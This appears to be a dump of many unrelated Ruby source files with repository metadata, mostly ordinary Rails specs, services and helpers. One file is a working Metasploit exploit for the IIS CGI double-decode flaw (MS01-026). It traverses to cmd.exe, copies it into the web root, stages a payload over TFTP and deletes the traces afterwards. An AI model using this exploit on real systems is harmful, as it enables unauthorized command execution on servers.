assert_match 'Please specify versions you want to compare (e.g. gem compare foo 0.1.0 0.2.0)', e.message
end
end
| 23.1 | 108 | 0.695887 |
263617a3d0640c5919f06a7fb53a68c5168817e7 | 12,478 | ##########################################################################
# Copyright 2015 ThoughtWorks, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
##########################################################################
require 'spec_helper'
describe ApiV2::AgentsController do
before do
controller.stub(:agent_service).and_return(@agent_service = double('agent-service'))
controller.stub(:job_instance_service).and_return(@job_instance_service = double('job instance service'))
end
describe :index do
describe :security do
it 'should allow anyone, with security disabled' do
disable_security
expect(controller).to allow_action(:get, :index)
end
it 'should disallow anonymous users, with security enabled' do
enable_security
login_as_anonymous
expect(controller).to disallow_action(:get, :index).with(404, 'Either the resource you requested was not found, or you are not authorized to perform this action.')
end
it 'should allow normal users, with security enabled' do
login_as_user
expect(controller).to allow_action(:get, :index)
end
end
describe 'logged in' do
before(:each) do
login_as_user
end
it 'should get agents json' do
two_agents = AgentsViewModelMother.getTwoAgents()
@agent_service.should_receive(:agents).and_return(two_agents)
get_with_api_header :index
expect(response).to be_ok
expect(actual_response).to eq(expected_response(two_agents, ApiV2::AgentsRepresenter))
end
it 'should get empty json when there are no agents' do
zero_agents = AgentsViewModelMother.getZeroAgents()
@agent_service.should_receive(:agents).and_return(zero_agents)
get_with_api_header :index
expect(response).to be_ok
expect(actual_response).to eq(expected_response(zero_agents, ApiV2::AgentsRepresenter))
end
end
end
describe :show do
describe :security do
before(:each) do
@agent = AgentInstanceMother.idle()
@agent_service.stub(:findAgent).and_return(@agent)
end
it 'should allow anyone, with security disabled' do
disable_security
expect(controller).to allow_action(:get, :show, uuid: @agent.getUuid())
end
it 'should disallow anonymous users, with security enabled' do
enable_security
login_as_anonymous
expect(controller).to disallow_action(:get, :show, uuid: @agent.getUuid()).with(404, 'Either the resource you requested was not found, or you are not authorized to perform this action.')
end
it 'should allow normal users, with security enabled' do
login_as_user
expect(controller).to allow_action(:get, :show, uuid: @agent.getUuid())
end
end
describe 'logged in' do
before(:each) do
login_as_user
end
it 'should get agents json' do
agent = AgentInstanceMother.idle()
@agent_service.should_receive(:findAgent).with(agent.getUuid()).and_return(agent)
get_with_api_header :show, uuid: agent.getUuid()
expect(response).to be_ok
expect(actual_response).to eq(expected_response(AgentViewModel.new(agent), ApiV2::AgentRepresenter))
end
it 'should return 404 when agent is not found' do
null_agent = NullAgentInstance.new('some-uuid')
@agent_service.should_receive(:findAgent).with(null_agent.getUuid()).and_return(null_agent)
get_with_api_header :show, uuid: null_agent.getUuid()
expect(response).to have_api_message_response(404, 'Either the resource you requested was not found, or you are not authorized to perform this action.')
end
end
end
describe :delete do
describe :security do
before(:each) do
@agent = AgentInstanceMother.idle()
@agent_service.stub(:findAgent).and_return(@agent)
end
it 'should allow anyone, with security disabled' do
disable_security
expect(controller).to allow_action(:delete, :destroy, uuid: @agent.getUuid())
end
it 'should disallow anonymous users, with security enabled' do
enable_security
login_as_anonymous
expect(controller).to disallow_action(:delete, :destroy, uuid: @agent.getUuid()).with(404, 'Either the resource you requested was not found, or you are not authorized to perform this action.')
end
it 'should not allow normal users, with security enabled' do
login_as_user
expect(controller).to disallow_action(:delete, :destroy, uuid: @agent.getUuid()).with(401, 'You are not authorized to perform this action.')
end
end
describe 'as admin user' do
before(:each) do
login_as_admin
end
it 'should render result in case of error' do
agent = AgentInstanceMother.idle()
@agent_service.should_receive(:findAgent).with(agent.getUuid()).and_return(agent)
@agent_service.should_receive(:deleteAgents).with(@user, anything(), [agent.getUuid()]) do |user, result, uuid|
result.notAcceptable('Not Acceptable', HealthStateType.general(HealthStateScope::GLOBAL))
end
delete_with_api_header :destroy, :uuid => agent.getUuid()
expect(response).to have_api_message_response(406, 'Not Acceptable')
end
it 'should return 200 when delete completes' do
agent = AgentInstanceMother.idle()
@agent_service.should_receive(:findAgent).with(agent.getUuid()).and_return(agent)
@agent_service.should_receive(:deleteAgents).with(@user, anything(), [agent.getUuid()]) do |user, result, uuid|
result.ok('Deleted 1 agent(s).')
end
delete_with_api_header :destroy, :uuid => agent.getUuid()
expect(response).to be_ok
expect(response).to have_api_message_response(200, 'Deleted 1 agent(s).')
end
end
end
describe :update do
describe :security do
before(:each) do
@agent = AgentInstanceMother.idle()
@agent_service.stub(:findAgent).and_return(@agent)
end
it 'should allow anyone, with security disabled' do
disable_security
expect(controller).to allow_action(:patch, :update, uuid: @agent.getUuid(), hostname: 'some-hostname')
end
it 'should disallow anonymous users, with security enabled' do
enable_security
login_as_anonymous
expect(controller).to disallow_action(:patch, :update, uuid: @agent.getUuid(), hostname: 'some-hostname').with(404, 'Either the resource you requested was not found, or you are not authorized to perform this action.')
end
it 'should not allow normal users, with security enabled' do
login_as_user
expect(controller).to disallow_action(:patch, :update, uuid: @agent.getUuid(), hostname: 'some-hostname').with(401, 'You are not authorized to perform this action.')
end
end
describe 'as admin user' do
before(:each) do
login_as_admin
end
it 'should return agent json when agent name update is successful' do
agent = AgentInstanceMother.idle()
@agent_service.should_receive(:findAgent).twice.with(agent.getUuid()).and_return(agent)
@agent_service.should_receive(:updateAgentAttributes).with(@user, anything(), agent.getUuid(), 'some-hostname', nil, TriState.UNSET) do |user, result, uuid, new_hostname|
result.ok("Updated agent with uuid #{agent.getUuid()}")
end
patch_with_api_header :update, uuid: agent.getUuid(), hostname: 'some-hostname'
expect(response).to be_ok
expect(actual_response).to eq(expected_response(AgentViewModel.new(agent), ApiV2::AgentRepresenter))
end
it 'should return agent json when agent resources update is successful by specifing a comma separated string' do
agent = AgentInstanceMother.idle()
@agent_service.should_receive(:findAgent).twice.with(agent.getUuid()).and_return(agent)
@agent_service.should_receive(:updateAgentAttributes).with(@user, anything(), agent.getUuid(), 'some-hostname', "java,linux,firefox", TriState.UNSET) do |user, result, uuid, new_hostname|
result.ok("Updated agent with uuid #{agent.getUuid()}")
end
patch_with_api_header :update, uuid: agent.getUuid(), hostname: 'some-hostname', resources: "java,linux,firefox"
expect(response).to be_ok
expect(actual_response).to eq(expected_response(AgentViewModel.new(agent), ApiV2::AgentRepresenter))
end
it 'should return agent json when agent is enabled' do
agent = AgentInstanceMother.idle()
@agent_service.should_receive(:findAgent).twice.with(agent.getUuid()).and_return(agent)
@agent_service.should_receive(:updateAgentAttributes).with(@user, anything(), agent.getUuid(), 'some-hostname', "java,linux,firefox", TriState.TRUE) do |user, result, uuid, new_hostname|
result.ok("Updated agent with uuid #{agent.getUuid()}")
end
patch_with_api_header :update, uuid: agent.getUuid(), hostname: 'some-hostname', resources: "java,linux,firefox", agent_config_state: 'enabled'
expect(response).to be_ok
expect(actual_response).to eq(expected_response(AgentViewModel.new(agent), ApiV2::AgentRepresenter))
end
it 'should return agent json when agent is disabled' do
agent = AgentInstanceMother.idle()
@agent_service.should_receive(:findAgent).twice.with(agent.getUuid()).and_return(agent)
@agent_service.should_receive(:updateAgentAttributes).with(@user, anything(), agent.getUuid(), 'some-hostname', "java,linux,firefox", TriState.FALSE) do |user, result, uuid, new_hostname|
result.ok("Updated agent with uuid #{agent.getUuid()}")
end
patch_with_api_header :update, uuid: agent.getUuid(), hostname: 'some-hostname', resources: "java,linux,firefox", agent_config_state: "diSAbled"
expect(response).to be_ok
expect(actual_response).to eq(expected_response(AgentViewModel.new(agent), ApiV2::AgentRepresenter))
end
it 'should return agent json when agent resources update is successful by specifying a resource array' do
agent = AgentInstanceMother.idle()
@agent_service.should_receive(:findAgent).twice.with(agent.getUuid()).and_return(agent)
@agent_service.should_receive(:updateAgentAttributes).with(@user, anything(), agent.getUuid(), 'some-hostname', "java,linux,firefox", TriState.UNSET) do |user, result, uuid, new_hostname|
result.ok("Updated agent with uuid #{agent.getUuid()}")
end
patch_with_api_header :update, uuid: agent.getUuid(), hostname: 'some-hostname', resources: ['java', 'linux', 'firefox']
expect(response).to be_ok
expect(actual_response).to eq(expected_response(AgentViewModel.new(agent), ApiV2::AgentRepresenter))
end
it 'should return 404 when agent is not found' do
null_agent = NullAgentInstance.new('some-uuid')
@agent_service.should_receive(:findAgent).with(null_agent.getUuid()).and_return(null_agent)
patch_with_api_header :update, uuid: null_agent.getUuid()
expect(response).to have_api_message_response(404, 'Either the resource you requested was not found, or you are not authorized to perform this action.')
end
it 'should raise error when submitting a junk (non-blank) value for enabled boolean' do
agent = AgentInstanceMother.idle()
@agent_service.should_receive(:findAgent).with(agent.getUuid()).and_return(agent)
patch_with_api_header :update, uuid: agent.getUuid(), hostname: 'some-hostname', agent_config_state: 'foo'
expect(response).to have_api_message_response(400, 'Your request could not be processed. The value of `agent_config_state` can be one of `Enabled`, `Disabled` or null.')
end
end
end
end
| 43.93662 | 225 | 0.687851 |
bf740ace1e8835d882911303f06c49db647657fa | 270 | module ConventionalChangelog
class CLI
def self.execute(params)
Generator.new.generate! parse(params)
end
def self.parse(params)
Hash[*params.map { |param| param.split("=") }.map { |key, value| [key.to_sym, value] }.flatten]
end
end
end
| 22.5 | 101 | 0.651852 |
21d4da95017646dcd4b580d6c6e26fc4b2fca101 | 917 | # frozen_string_literal: true
module TxOcr
class Image < Base
def initialize(file_path, ocr_type = 'GeneralBasicOCR')
@file_path = file_path
@ocr_type = ocr_type
extname = File.extname(@file_path)
basename = File.basename(@file_path, extname)
random_filename = Time.now.to_i.to_s
new_filename = "#{random_filename}#{extname}"
# 上传
TencentCosSdk.put new_filename, file: @file_path
@remote_image_url = "http://#{TxOcr.config[:bucket]}.cos.#{TxOcr.config[:region]}.myqcloud.com" + TxOcr.config[:parent_path] + "/#{new_filename}"
end
def new_filename
extname = File.extname(@file_path)
basename = File.basename(@file_path, extname)
random_filename = Time.now.to_i.to_s
"#{random_filename}#{extname}"
end
attr_reader :remote_image_url
def encoded_image_url
URI.encode(@remote_image_url)
end
end
end
| 26.970588 | 151 | 0.673937 |
1a85dbcaf1d8b262cceef1e50f636d5dfff49bb5 | 524 | require 'test/unit'
require 'mocha/setup'
require 'rspec-puppet'
require 'puppetlabs_spec_helper/module_spec_helper'
fixture_path = File.expand_path(File.join(__FILE__, '..', 'fixtures'))
# include common helpers
support_path = File.expand_path(File.join(File.dirname(__FILE__), '..',
'spec/support/*.rb'))
Dir[support_path].each {|f| require f}
RSpec.configure do |c|
c.config = '/doesnotexist'
c.manifest_dir = File.join(fixture_path, 'manifests')
c.mock_with :mocha
end
| 29.111111 | 71 | 0.685115 |
62dfe32ed0a3218260549bd8a35ee4442c46b78b | 1,297 | # frozen_string_literal: true
class LeaveTimeSummaryService
def initialize(year, month, users = User.filter_by_role(%w[employee parttime]))
@range = (
Time.zone.local(year, month).beginning_of_month..
Time.zone.local(year, month).end_of_month
)
@types = Settings.leave_times.quota_types.keys
@users = users
end
def user_applications
@user_applications ||= LeaveApplication.where(user: @users).leave_within_range(@range.min, @range.max)
.approved
.includes(:leave_time_usages, :leave_times)
.group_by(&:user_id)
end
def application_to_usage(applications)
applications.map(&:leave_time_usages)
.flatten
.group_by { |usage| usage.leave_time.leave_type }
.map { |k, v| [k, used_hours_in_month(v).sum] }
end
def summary
@summary ||= Hash[
user_applications.map do |(id, applications)|
[
id,
default_columns.merge(Hash[application_to_usage(applications)])
]
end
]
end
private
def default_columns
Hash[@types.collect { |type| [type, 0] }]
end
def used_hours_in_month(usages)
usages_in_month(usages).map(&:used_hours)
end
def usages_in_month(usages)
usages.select { |usage| usage.date.between? @range.min, @range.max }
end
end
| 24.942308 | 106 | 0.67155 |
1d54c1fa188941e95ba83beb1fceac2585e33e48 | 285 | class CreatePackagePaymentRules < ActiveRecord::Migration[5.0]
def change
create_table :package_payment_rules do |t|
t.references :package, foreign_key: true, null: false
t.references :payment_rule, foreign_key: true, null: false
t.timestamps
end
end
end
| 28.5 | 64 | 0.726316 |
794cd3fc7fc756124124ba5a34f734f5464babe7 | 1,125 | require File.expand_path('../boot', __FILE__)
require 'rails/all'
# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)
module AppEngineRubySpike
class Application < Rails::Application
# Settings in config/environments/* take precedence over those specified here.
# Application configuration should go into files in config/initializers
# -- all .rb files in that directory are automatically loaded.
# Set Time.zone default to the specified zone and make Active Record auto-convert to this zone.
# Run "rake -D time" for a list of tasks for finding time zone names. Default is UTC.
# config.time_zone = 'Central Time (US & Canada)'
# The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
# config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
# config.i18n.default_locale = :de
# Do not swallow errors in after_commit/after_rollback callbacks.
config.active_record.raise_in_transactional_callbacks = true
end
end
| 41.666667 | 99 | 0.736 |
e9eb2f8ef6a8a1ab6792665c10570e0b317129cd | 2,949 | # Copyright (C) The Arvados Authors. All rights reserved.
#
# SPDX-License-Identifier: AGPL-3.0
require 'test_helper'
class ResourceListTest < ActiveSupport::TestCase
reset_api_fixtures :after_each_test, false
test 'links_for on a resource list that does not return links' do
use_token :active
results = Specimen.all
assert_equal [], results.links_for(api_fixture('users')['active']['uuid'])
end
test 'get all items by default' do
use_token :admin
a = 0
Collection.where(owner_uuid: 'zzzzz-j7d0g-0201collections').each do
a += 1
end
assert_equal 201, a
end
test 'prefetch all items' do
use_token :admin
a = 0
Collection.where(owner_uuid: 'zzzzz-j7d0g-0201collections').each do
a += 1
end
assert_equal 201, a
end
test 'get limited items' do
use_token :admin
a = 0
Collection.where(owner_uuid: 'zzzzz-j7d0g-0201collections').limit(51).each do
a += 1
end
assert_equal 51, a
end
test 'get limited items, limit % page_size != 0' do
skip "Requires server MAX_LIMIT < 200 which is not currently the default"
use_token :admin
max_page_size = Collection.
where(owner_uuid: 'zzzzz-j7d0g-0201collections').
limit(1000000000).
fetch_multiple_pages(false).
count
# Conditions necessary for this test to be valid:
assert_operator 200, :>, max_page_size
assert_operator 1, :<, max_page_size
# Verify that the server really sends max_page_size when asked for max_page_size+1
assert_equal max_page_size, Collection.
where(owner_uuid: 'zzzzz-j7d0g-0201collections').
limit(max_page_size+1).
fetch_multiple_pages(false).
results.
count
# Now that we know the max_page_size+1 is in the middle of page 2,
# make sure #each returns page 1 and only the requested part of
# page 2.
a = 0
saw_uuid = {}
Collection.where(owner_uuid: 'zzzzz-j7d0g-0201collections').limit(max_page_size+1).each do |item|
a += 1
saw_uuid[item.uuid] = true
end
assert_equal max_page_size+1, a
# Ensure no overlap between pages
assert_equal max_page_size+1, saw_uuid.size
end
test 'get single page of items' do
use_token :admin
a = 0
c = Collection.where(owner_uuid: 'zzzzz-j7d0g-0201collections').fetch_multiple_pages(false)
c.each do
a += 1
end
assert_operator a, :<, 201
assert_equal c.result_limit, a
end
test 'get empty set' do
use_token :admin
c = Collection.
where(owner_uuid: 'doesn-texis-tdoesntexistdoe').
fetch_multiple_pages(false)
# Important: check c.result_offset before calling c.results here.
assert_equal 0, c.result_offset
assert_equal 0, c.items_available
assert_empty c.results
end
test 'count=none' do
use_token :active
c = Collection.with_count('none')
assert_nil c.items_available
refute_empty c.results
end
end
| 27.560748 | 101 | 0.687352 |
e866697c18a25bd96f53e5e17d97c6d8c2686f2e | 820 | # frozen_string_literal: true
require_relative '../../test_helper'
require 'open3'
require 'shellwords'
def cmd_to_sys(command)
Open3.popen3(command) do |_stdin, stdout, stderr|
[stdout.read, stderr.read]
end
end
describe DocParser do
it 'should run the example without problems' do
curwd = Dir.getwd
Dir.mktmpdir do |dir|
Dir.chdir(dir)
example_file = Shellwords.escape(File.join($ROOT_DIR, 'example.rb'))
_, err = cmd_to_sys '/usr/bin/env ruby ' + example_file
rows = err.scan(/(\d+) rows/).flatten
rows.length.must_equal 5
row_lengths = rows.group_by(&:to_i)
row_lengths.length.must_equal 1
# HaD: 40 pages of 7 articles
row_lengths.keys.first.must_equal(7 * 40)
err.must_match(/Done processing/)
end
Dir.chdir(curwd)
end
end
| 26.451613 | 74 | 0.678049 |
f7a88f50bdb78523ce32571d2a5305b6a5518689 | 692 | class Activity < ApplicationRecord
has_many :records, dependent: :destroy
validates :name, presence: true
validates :hours_per_cycle, presence: true
def self.lowest_cycle
all.map(&:current_cycle).min.to_i
end
def total_hours_spent
records.map(&:hours_spent).inject(0) { |n, m| n + m }
end
def current_cycle
total_hours_spent / hours_per_cycle
end
def cycle_completion_percentage
(current_cycle - Activity.lowest_cycle) * 100
end
def cycle_completion_hours
(cycle_completion_percentage / 100) * hours_per_cycle
end
def archive_old_records! hours
records.each(&:destroy)
Record.create(hours_spent: hours, activity: self)
end
end
| 21.625 | 57 | 0.735549 |
21420bb85100ec570403592fcfd76e0414d28299 | 1,047 | require "imgix/rails/url_helper"
require "action_view"
class Imgix::Rails::Tag
include Imgix::Rails::UrlHelper
include ActionView::Helpers
def initialize(path, source: nil, tag_options: {}, url_params: {}, srcset_options: {})
@path = path
@source = source
@tag_options = tag_options
@url_params = url_params
@srcset_options = srcset_options
end
protected
def srcset(source: @source, path: @path, url_params: @url_params, srcset_options: @srcset_options, tag_options: @tag_options)
params = url_params.clone
width_tolerance = ::Imgix::Rails.config.imgix[:srcset_width_tolerance]
min_width = @srcset_options[:min_width]
max_width = @srcset_options[:max_width]
widths = @srcset_options[:widths]
disable_variable_quality = @srcset_options[:disable_variable_quality]
options = { widths: widths, width_tolerance: width_tolerance, min_width: min_width, max_width: max_width, disable_variable_quality: disable_variable_quality}
ix_image_srcset(@source, @path, params, options)
end
end
| 33.774194 | 161 | 0.747851 |
f847459db1870992e10dce5d746b223417be17cb | 6,062 | ENV["RAILS_ENV"] = "test"
# In CI envoronment I don't want to send coverage report for system tests that
# obviously don't cover everything 100%
unless ENV["SKIP_COV"]
require "simplecov"
require "coveralls"
SimpleCov.formatter = Coveralls::SimpleCov::Formatter
SimpleCov.start do
add_filter "lib/generators"
add_filter "lib/comfortable_mexican_sofa/engine.rb "
end
end
require_relative "../config/environment"
require "rails/test_help"
require "rails/generators"
require "mocha/setup"
Rails.backtrace_cleaner.remove_silencers!
class ActiveSupport::TestCase
include ActionDispatch::TestProcess
fixtures :all
setup :reset_config,
:reset_locale
# resetting default configuration
def reset_config
ComfortableMexicanSofa.configure do |config|
config.cms_title = "ComfortableMexicanSofa CMS Engine"
config.admin_auth = "ComfortableMexicanSofa::AccessControl::AdminAuthentication"
config.admin_authorization = "ComfortableMexicanSofa::AccessControl::AdminAuthorization"
config.public_auth = "ComfortableMexicanSofa::AccessControl::PublicAuthentication"
config.public_authorization = "ComfortableMexicanSofa::AccessControl::PublicAuthorization"
config.admin_route_redirect = ""
config.enable_seeds = false
config.seeds_path = File.expand_path("db/cms_seeds", Rails.root)
config.revisions_limit = 25
config.locales = {
"en" => "English",
"es" => "Español"
}
config.admin_locale = nil
config.admin_cache_sweeper = nil
config.allow_erb = false
config.allowed_helpers = nil
config.allowed_partials = nil
config.allowed_templates = nil
config.hostname_aliases = nil
config.public_cms_path = nil
end
ComfortableMexicanSofa::AccessControl::AdminAuthentication.username = "username"
ComfortableMexicanSofa::AccessControl::AdminAuthentication.password = "password"
end
def reset_locale
I18n.default_locale = :en
I18n.locale = :en
end
# Example usage:
# assert_has_errors_on @record, :field_1, :field_2
def assert_has_errors_on(record, *fields)
unmatched = record.errors.keys - fields.flatten
assert unmatched.blank?, "#{record.class} has errors on '#{unmatched.join(', ')}'"
unmatched = fields.flatten - record.errors.keys
assert unmatched.blank?, "#{record.class} doesn't have errors on '#{unmatched.join(', ')}'"
end
# Example usage:
# assert_exception_raised do ... end
# assert_exception_raised ActiveRecord::RecordInvalid do ... end
# assert_exception_raised Plugin::Error, 'error_message' do ... end
def assert_exception_raised(exception_class = nil, error_message = nil)
exception_raised = nil
yield
rescue StandardError => exception_raised
exception_raised
ensure
if exception_raised
if exception_class
assert_equal exception_class, exception_raised.class, exception_raised.to_s
else
assert true
end
assert_equal error_message, exception_raised.to_s if error_message
else
flunk "Exception was not raised"
end
end
def assert_no_select(selector, value = nil)
assert_select(selector, text: value, count: 0)
end
def assert_count_difference(models, number = 1)
counts = [models].flatten.map { |m| "#{m}.count" }
assert_difference counts, number do
yield
end
end
def assert_count_no_difference(*models)
counts = [models].flatten.map { |m| "#{m}.count" }
assert_no_difference counts do
yield
end
end
# Capturing STDOUT into a string
def with_captured_stout
old = $stdout
$stdout = StringIO.new
yield
$stdout.string
ensure
$stdout = old
end
end
class ActionDispatch::IntegrationTest
# Attaching http_auth stuff with request. Example use:
# r :get, '/cms-admin/pages'
def r(method, path, options = {})
headers = options[:headers] || {}
headers["HTTP_AUTHORIZATION"] = ActionController::HttpAuthentication::Basic.encode_credentials(
ComfortableMexicanSofa::AccessControl::AdminAuthentication.username,
ComfortableMexicanSofa::AccessControl::AdminAuthentication.password
)
options[:headers] = headers
send(method, path, options)
end
def with_routing
yield ComfortableMexicanSofa::Application.routes
ensure
ComfortableMexicanSofa::Application.routes_reloader.reload!
end
end
class Rails::Generators::TestCase
setup :prepare_destination,
:prepare_files
destination File.expand_path("../tmp", File.dirname(__FILE__))
def prepare_files
config_path = File.join(destination_root, "config")
routes_path = File.join(config_path, "routes.rb")
app_path = File.join(config_path, "application.rb")
FileUtils.mkdir_p(config_path)
FileUtils.touch(routes_path)
File.open(routes_path, "w") do |f|
f.write <<-RUBY.strip_heredoc
Test::Application.routes.draw do
end
RUBY
end
File.open(app_path, "w") do |f|
f.write <<-RUBY.strip_heredoc
module TestApp
class Application < Rails::Application
end
end
RUBY
end
end
def read_file(filename)
File.read(
File.join(
File.expand_path("fixtures/generators", File.dirname(__FILE__)),
filename
)
)
end
end
class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
driven_by :selenium, using: :headless_chrome, screen_size: [1400, 1400]
# Visiting path and passing in BasicAuth credentials at the same time
# I have no idea how to set headers here.
def visit_p(path)
username = ComfortableMexicanSofa::AccessControl::AdminAuthentication.username
password = ComfortableMexicanSofa::AccessControl::AdminAuthentication.password
visit("http://#{username}:#{password}@#{Capybara.server_host}:#{Capybara.server_port}#{path}")
end
end
| 30.009901 | 99 | 0.69416 |
036e297412eacd67cdea5ecd9b8681b3f2e81dd2 | 6,836 | ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/proto/tftp'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
# NOTE: This cannot be an HttpClient module since the response from the server
# is not a valid HttpResponse
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'MS01-026 Microsoft IIS/PWS CGI Filename Double Decode Command Execution',
'Description' => %q{
This module will execute an arbitrary payload on a Microsoft IIS installation
that is vulnerable to the CGI double-decode vulnerability of 2001.
NOTE: This module will leave a metasploit payload in the IIS scripts directory.
},
'Author' => [ 'jduck' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2001-0333' ],
[ 'OSVDB', '556' ],
[ 'BID', '2708' ],
[ 'MSB', 'MS01-026' ],
[ 'URL', 'http://marc.info/?l=bugtraq&m=98992056521300&w=2' ]
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ]
],
'CmdStagerFlavor' => 'tftp',
'DefaultTarget' => 0,
'DisclosureDate' => 'May 15 2001'
))
register_options(
[
Opt::RPORT(80),
OptString.new('WINDIR', [ false, 'The windows directory of the target host', nil ]),
OptString.new('CMD', [ false, 'Execute this command instead of using command stager', nil ])
])
framework.events.add_exploit_subscriber(self)
self.needs_cleanup = true
end
def dotdotslash
possibilities = [
"..%255c",
"..%%35c",
"..%%35%63",
"..%25%35%63",
".%252e/",
"%252e./",
"%%32%65./",
".%%32%65/",
".%25%32%65/",
"%25%32%65./"
]
possibilities[rand(possibilities.length)]
end
def mini_http_request(opts, timeout=5)
connect
req = ''
req << opts['method']
req << ' '
req << opts['uri']
req << ' '
req << "HTTP/1.0\r\n"
req << "Host: #{datastore['RHOST']}\r\n"
req << "\r\n"
sock.put(req)
# This isn't exactly awesome, but it seems to work..
begin
headers = sock.get_once(-1, timeout) || ''
body = sock.get_once(-1, timeout) || ''
rescue ::EOFError
# nothing
end
disconnect
[headers, body]
end
def detect_windows_dir()
win_dirs = [ 'winnt', 'windows' ]
win_dirs.each { |dir|
res = execute_command("dir", { :windir => dir })
if (res.kind_of?(Array))
body = res[1]
if (body and body =~ /Directory of /)
return dir
end
end
}
return nil
end
def check
@win_dir = detect_windows_dir()
if @win_dir
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
#
# NOTE: the command executes regardless of whether or not
# a valid response is returned...
#
def execute_command(cmd, opts = {})
# Don't try the start command...
# Using the "start" method doesn't seem to make iis very happy :(
return [nil,nil] if cmd =~ /^start [a-zA-Z]+\.exe$/
print_status("Executing command: #{cmd} (options: #{opts.inspect})")
uri = '/scripts/'
exe = opts[:cgifname]
if (not exe)
uri << dotdotslash
uri << dotdotslash
uri << (opts[:windir] || @win_dir)
uri << '/system32/cmd.exe'
else
uri << exe
end
uri << '?/x+/c+'
uri << Rex::Text.uri_encode(cmd)
vprint_status("Attempting to execute: #{uri}")
mini_http_request({
'uri' => uri,
'method' => 'GET',
}, 20)
end
def exploit
@win_dir = datastore['WINDIR']
if not @win_dir
# try to detect the windows directory
@win_dir = detect_windows_dir()
if not @win_dir
fail_with(Failure::NoTarget, "Unable to detect the target host windows directory (maybe not vulnerable)!")
end
end
print_status("Using windows directory \"#{@win_dir}\"")
# now copy the file
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
print_status("Copying cmd.exe to the web root as \"#{exe_fname}\"...")
# NOTE: this assumes %SystemRoot% on the same drive as the web scripts directory
# Unfortunately, using %SystemRoot% doesn't seem to work :(
res = execute_command("copy \\#{@win_dir}\\system32\\cmd.exe #{exe_fname}")
if (datastore['CMD'])
res = execute_command(datastore['CMD'], { :cgifname => exe_fname })
if (res[0])
print_status("Command output:\n" + res[0])
else
print_error("No output received")
end
res = execute_command("del #{exe_fname}")
return
end
# Use the CMD stager to get a payload running
execute_cmdstager({:temp => '.', :linemax => 1400, :cgifname => exe_fname})
# Save these file names for later deletion
@exe_cmd_copy = exe_fname
@exe_payload = stager_instance.payload_exe
# Just for good measure, we'll make a quick, direct request for the payload
# Using the "start" method doesn't seem to make iis very happy :(
print_status("Triggering the payload via a direct request...")
mini_http_request({ 'uri' => '/scripts/' + stager_instance.payload_exe, 'method' => 'GET' }, 1)
handler
end
#
# The following handles deleting the copied cmd.exe and payload exe!
#
def on_new_session(client)
if client.type != "meterpreter"
print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
print_error("The copied exe and the payload exe must be removed manually.")
return
end
return if not @exe_cmd_copy
# stdapi must be loaded before we can use fs.file
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
# Delete the copied CMD.exe
print_status("Deleting copy of CMD.exe \"#{@exe_cmd_copy}\" ...")
client.fs.file.rm(@exe_cmd_copy)
# Migrate so that we can delete the payload exe
client.console.run_single("run migrate -f")
# Delete the payload exe
return if not @exe_payload
delete_me_too = "C:\\inetpub\\scripts\\" + @exe_payload
print_status("Changing permissions on #{delete_me_too} ...")
cmd = "C:\\#{@win_dir}\\system32\\attrib.exe -r -h -s " + delete_me_too
client.sys.process.execute(cmd, nil, {'Hidden' => true })
print_warning("Deleting #{delete_me_too} ...")
begin
client.fs.file.rm(delete_me_too)
rescue ::Exception => e
print_error("Exception: #{e.inspect}")
end
end
def cleanup
framework.events.remove_exploit_subscriber(self)
end
end
| 27.23506 | 114 | 0.600497 |
bbe91e146ea2012b2f02d48214a83152fec8da0c | 1,183 | class LuthierInvitationsController < ApplicationController
before_action :setup
def index
end
def new
@invi = LuthierInvitation.new
end
def create
@invi = LuthierInvitation.create(msg: params[:luthier_invitation][:msg], luthier_id: current_user.luthier.id)
@invi.save
redirect_to new_luthier_invitation_path
end
# edit and update methods are for new user applying role as luthier
def edit
@inv = LuthierInvitation.first
end
def update
# raise params.inspect
@inv1 = LuthierInvitation.where(msg: params[:luthier_invitation][:msg]).first
if (@inv1 != nil) and (@inv1.user_id == nil)
@inv1.update(user_id: current_user.id)
@inv1.save
new_luthier = Luthier.create(user: current_user)
new_luthier.save
end
redirect_to products_path
end
def destroy
# raise params.inspect
x = LuthierInvitation.find(params[:id].to_i)
x.destroy
redirect_to new_luthier_invitation_path
end
private
def setup
if current_user.luthier != nil
@invitations = LuthierInvitation.where(luthier: current_user.luthier)
else
# redirect_to products_path
end
end
end
| 22.320755 | 113 | 0.705833 |
085cb1921dd5f92ee4a8dcedfdcfe475573f1c2f | 2,215 | require 'spec_helper'
describe "Checkout" do
context "visitor makes checkout as guest without registration" do
before do
@product = create(:product, :name => "RoR Mug")
create(:zone)
create(:shipping_method)
create(:payment_method)
end
let!(:promotion) { create(:promotion, :code => "onetwo") }
it "informs about an invalid coupon code", :js => true do
visit spree.root_path
click_link "RoR Mug"
click_button "add-to-cart-button"
click_button "Checkout"
fill_in "order_email", :with => "[email protected]"
click_button "Continue"
fill_in "First Name", :with => "John"
fill_in "Last Name", :with => "Smith"
fill_in "Street Address", :with => "1 John Street"
fill_in "City", :with => "City of John"
fill_in "Zip", :with => "01337"
select "United States", :from => "Country"
select "Alaska", :from => "order[bill_address_attributes][state_id]"
fill_in "Phone", :with => "555-555-5555"
check "Use Billing Address"
# To shipping method screen
click_button "Save and Continue"
# To payment screen
click_button "Save and Continue"
fill_in "Coupon code", :with => "coupon_codes_rule_man"
click_button "Save and Continue"
